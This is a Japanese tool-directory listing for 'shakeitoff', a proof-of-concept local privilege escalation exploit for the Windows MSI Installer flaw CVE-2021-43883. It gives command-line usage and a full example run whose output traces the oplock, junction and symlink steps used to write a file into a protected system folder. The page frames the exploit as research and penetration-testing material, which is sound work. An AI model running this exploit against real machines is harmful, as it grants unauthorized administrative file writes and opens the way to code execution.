Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
shakeitoff — Windows MSI インストーラーのローカル権限昇格 (CVE-2021-43883) | Kitploit
ツール/GitHubGitHub/jbaines-r7/shakeitoff
特権昇格脆弱性分析エクスプロイトペネトレーションテスト
GitHubjbaines-r7/shakeitoff

shakeitoff

Windows MSI インストーラーのローカル権限昇格 (CVE-2021-43883)

リポジトリを見るウェブサイト
791644年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

shakeitoff

InstallerFileTakeOverの、より小さく、最小化され、クリーンなバージョンです。CVE-2021-41379の「バリエーション」とされるゼロデイエクスプロイト(後にCVE-2021-43883が割り当てられました)です。このバージョンはInstallerFileTakeOverのようにシェルを起動しません。このコードの目的は、ファイル作成攻撃をより確実に実証するための、よりシンプルな概念実証を作成することです。この概念実証は、ユーザーが要求した任意のファイルを作成し(書き込み可能性を証明するために自身をそのファイルにコピーします)。コード実行の実証は読者への簡単な課題として残されています。

攻撃の仕組みを理解するには、AttackerKBの解説を参照してください。

使用方法

このツールには3つのパラメータが必要です:

root@kitploit:~
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
  -h, --help              produce help message
  -m, --msi_path arg      The path to the MSI to install
  -i, --install_path arg  The path to install to
  -p, --target_path arg   The file to create
  1. -m - インストールするMSI(フルパスが必要です)。このリポジトリに1つ用意されています(ファイルパスが実際に重要なので、それを使用してください)。
  2. -i - インストール先のパス(フルパスが必要です)。MSIがインストールされる場所、つまりエクスプロイトが実行される場所です。ユーザーは事前にこれを指定する必要があり、空のディレクトリでなければなりません。ツールはこのディレクトリをクリーンアップしません(バグの調査を容易にするためです)。また、末尾に\が必要です(私がモンスターだからです)。
  3. -p - 上書き/作成するファイル。フルパスが必要です。

PoCは自身をターゲットファイルにコピーするだけです。

使用例

root@kitploit:~
C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

File Not Found

C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!

C:\Users\Public>dir "C:\Program Files\lol"
 Volume in drive C has no label.
 Volume Serial Number is 5E1E-AC13

 Directory of C:\Program Files

12/02/2021  02:01 PM           368,640 lol
               1 File(s)        368,640 bytes
               0 Dir(s)  86,015,610,880 bytes free

クレジット

  • このコードは、Abdelhamid Naceri(元の脆弱性発見者でもあります)が公開した元のエクスプロイトに影響を受けています。
  • FileOpLockコードは、angrypolarbearbug2から取り出した(わずかに修正した)バージョンです。
  • Taylor Swift
ツールをダウンロード